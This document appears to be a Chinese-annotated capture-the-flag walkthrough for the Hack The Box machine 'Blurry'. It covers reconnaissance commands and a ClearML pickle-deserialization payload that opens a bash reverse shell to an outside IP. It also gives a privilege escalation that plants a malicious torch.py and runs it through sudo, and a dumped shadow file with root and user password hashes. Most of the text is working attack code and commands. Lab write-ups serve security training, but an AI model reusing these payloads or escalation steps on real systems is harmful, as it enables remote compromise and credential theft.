HTB-Blurry笔记

nmap -p 1-65535 -T4 -A -v 10.10.11.19

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://blurry.htb" -H "Host: FUZZ.blurry.htb" --hc 404 --hl 7

{"meta":{"id":"14743625bf9f417991e704640e0e0c9a","trx":"14743625bf9f417991e704640e0e0c9a","endpoint":{"name":"","requested_version":1.0,"actual_version":null},"result_code":400,"result_subcode":0,"result_msg":"Invalid request path /","error_stack":null,"error_data":{}},"data":{}}

import pickle, os  # 导入 pickle 库用于对象序列化，os 库用于执行操作系统命令
class RunCommand:    def __reduce__(self):        # 当尝试序列化 RunCommand 对象时，__reduce__ 方法定义了如何重建该对象。        # 这里指定使用 os.system 函数执行一个 bash 命令，该命令尝试建立一个反向 shell 连接到指定的 IP 和端口。        return (os.system, ('/bin/bash -c "/bin/bash -i >& /dev/tcp/172.31.105.148/443 0>&1"',))
command = RunCommand()  # 创建 RunCommand 类的一个实例
from clearml import Task  # 从 clearml 库导入 Task 类，用于任务管理和跟踪task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=["review"])# 初始化一个 ClearML 任务，指定项目名、任务名和标签
# 将 command 对象上传为一个 ClearML 任务的工件（artifact），这个对象被序列化为一个 .pkl 文件。# 设置重试次数为2次，等待上传完成。task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True, extension_name=".pkl")

#!/bin/bash# 评估给定模型对我们的专有数据集的性能。# 包括对模型文件的安全检查。
# 检查是否正好给了一个参数if [ "$#" -ne 1 ]; then    /usr/bin/echo "Usage: $0 <path_to_model.pth>"  # 如果参数数量不正确，打印用法    exit 1  # 退出并返回错误代码fi
MODEL_FILE="$1"  # 将第一个参数指定为模型文件路径TEMP_DIR="/models/temp"  # 定义一个用于处理的临时目录PYTHON_SCRIPT="/models/evaluate_model.py"  # 定义评估脚本的路径
/usr/bin/mkdir -p "$TEMP_DIR"  # 确保临时目录存在
file_type=$(/usr/bin/file --brief "$MODEL_FILE")  # 确定文件的类型
# 根据文件类型进行解压if [[ "$file_type" == *"POSIX tar archive"* ]]; then    # 处理 POSIX tar 归档（较旧的 PyTorch 格式）    /usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"elif [[ "$file_type" == *"Zip archive data"* ]]; then    # 处理 Zip 归档（较新的 PyTorch 格式）    /usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"else    /usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"    exit 2  # 如果文件格式既不是 tar 也不是 zip，则退出fi
# 在临时目录中搜索潜在的恶意 pickle 文件/usr/bin/find "$TEMP_DIR" -type f ( -name "*.pkl" -o -name "pickle" ) -print0 | while IFS= read -r -d $'�' extracted_pkl; do    fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")
    # 检查 fickling 是否识别出内容为公然恶意    if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then        /usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."        /bin/rm "$MODEL_FILE"  # 如果发现恶意内容，则删除模型文件        break    fidone
# 清理：删除 TEMP_DIR 中的所有文件，并移除目录本身/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +/bin/rm -rf "$TEMP_DIR"
# 如果模型文件仍然存在，认为它是安全的if [ -f "$MODEL_FILE" ]; then    /usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."    /usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"  # 在安全的模型文件上执行评估脚本fi

import torchimport torch.nn as nnfrom torchvision import transformsfrom torchvision.datasets import CIFAR10from torch.utils.data import DataLoader, Subsetimport numpy as npimport sys
class CustomCNN(nn.Module):    # 定义一个自定义的卷积神经网络模型    def __init__(self):        super(CustomCNN, self).__init__()        # 第一层卷积层，输入通道为3（RGB图像），输出通道为16，使用3x3卷积核，边缘填充1        self.conv1 = nn.Conv2d(in_channels=3, out_channels=16, kernel_size=3, padding=1)        # 第二层卷积层，输入通道为16，输出通道为32，使用3x3卷积核，边缘填充1        self.conv2 = nn.Conv2d(in_channels=16, out_channels=32, kernel_size=3, padding=1)        # 最大池化层，使用2x2池化窗口，步长为2        self.pool = nn.MaxPool2d(kernel_size=2, stride=2, padding=0)        # 第一个全连接层，输入特征维度为32*8*8，输出特征维度为128        self.fc1 = nn.Linear(in_features=32 * 8 * 8, out_features=128)        # 第二个全连接层，输入特征维度为128，输出特征维度为10（对应CIFAR-10的10个类别）        self.fc2 = nn.Linear(in_features=128, out_features=10)        # 激活函数ReLU        self.relu = nn.ReLU()
    def forward(self, x):        # 前向传播过程        x = self.pool(self.relu(self.conv1(x)))  # 对第一层卷积的输出进行ReLU激活和池化        x = self.pool(self.relu(self.conv2(x)))  # 对第二层卷积的输出进行ReLU激活和池化        x = x.view(-1, 32 * 8 * 8)  # 展平特征图        x = self.relu(self.fc1(x))  # 第一个全连接层的ReLU激活        x = self.fc2(x)  # 第二个全连接层的输出        return x
def load_model(model_path):    # 载入模型    model = CustomCNN()    state_dict = torch.load(model_path)  # 加载模型参数    model.load_state_dict(state_dict)    model.eval()  # 设置为评估模式    return model
def prepare_dataloader(batch_size=32):    # 准备数据加载器    transform = transforms.Compose([        transforms.RandomHorizontalFlip(),  # 随机水平翻转图像        transforms.RandomCrop(32, padding=4),  # 随机裁剪图像        transforms.ToTensor(),  # 将图像转换为Tensor        transforms.Normalize(mean=[0.4914, 0.4822, 0.4465], std=[0.2023, 0.1994, 0.2010]),  # 归一化    ])    dataset = CIFAR10(root='/root/datasets/', train=False, download=False, transform=transform)  # 加载CIFAR-10测试集    subset = Subset(dataset, indices=np.random.choice(len(dataset), 64, replace=False))  # 随机选择64个样本    dataloader = DataLoader(subset, batch_size=batch_size, shuffle=False)  # 创建数据加载器    return dataloader
def evaluate_model(model, dataloader):    # 评估模型    correct = 0    total = 0    with torch.no_grad():  # 不计算梯度        for images, labels in dataloader:            outputs = model(images)  # 获取模型输出            _, predicted = torch.max(outputs.data, 1)  # 获取预测结果            total+= labels.size(0)  # 更新总样本数            correct += (predicted == labels).sum().item()  # 计算正确预测的数量
    accuracy = 100 * correct / total  # 计算准确率    print(f'[+] Accuracy of the model on the test dataset: {accuracy:.2f}%')  # 输出准确率
def main(model_path):    model = load_model(model_path)  # 载入模型    print("[+] Loaded Model.")    dataloader = prepare_dataloader()  # 准备数据加载器    print("[+] Dataloader ready. Evaluating model...")    evaluate_model(model, dataloader)  # 评估模型
if __name__ == "__main__":    if len(sys.argv) < 2:        print("Usage: python script.py <path_to_model.pth>")  # 检查命令行参数    else:        model_path = sys.argv[1]  # 获取模型文件路径        main(model_path)

echo 'import os; os.system("bash")' > /models/torch.pysudo /usr/bin/evaluate_model /models/demo_model.pth

root:$y$j9T$HKjGxAyjzW3lmf/HmZafW0$fgkQykeZSlRYHzR8zHjMVQrRUzwM3xSvA0koPgt6TQ6:19770:0:99999:7:::daemon:*:19668:0:99999:7:::bin:*:19668:0:99999:7:::sys:*:19668:0:99999:7:::sync:*:19668:0:99999:7:::games:*:19668:0:99999:7:::man:*:19668:0:99999:7:::lp:*:19668:0:99999:7:::mail:*:19668:0:99999:7:::news:*:19668:0:99999:7:::uucp:*:19668:0:99999:7:::proxy:*:19668:0:99999:7:::www-data:*:19668:0:99999:7:::backup:*:19668:0:99999:7:::list:*:19668:0:99999:7:::irc:*:19668:0:99999:7:::gnats:*:19668:0:99999:7:::nobody:*:19668:0:99999:7:::_apt:*:19668:0:99999:7:::systemd-network:*:19668:0:99999:7:::systemd-resolve:*:19668:0:99999:7:::messagebus:*:19668:0:99999:7:::systemd-timesync:*:19668:0:99999:7:::sshd:*:19668:0:99999:7:::systemd-coredump:!*:19668::::::jippity:$y$j9T$WUn.W06MZ94pp.Zq4HANr/$UAdCX7HojvUwcmzTO6.xcwCWvxrKneaoRAPqpFf1G6D:19770:0:99999:7:::_laurel:!:19871::::::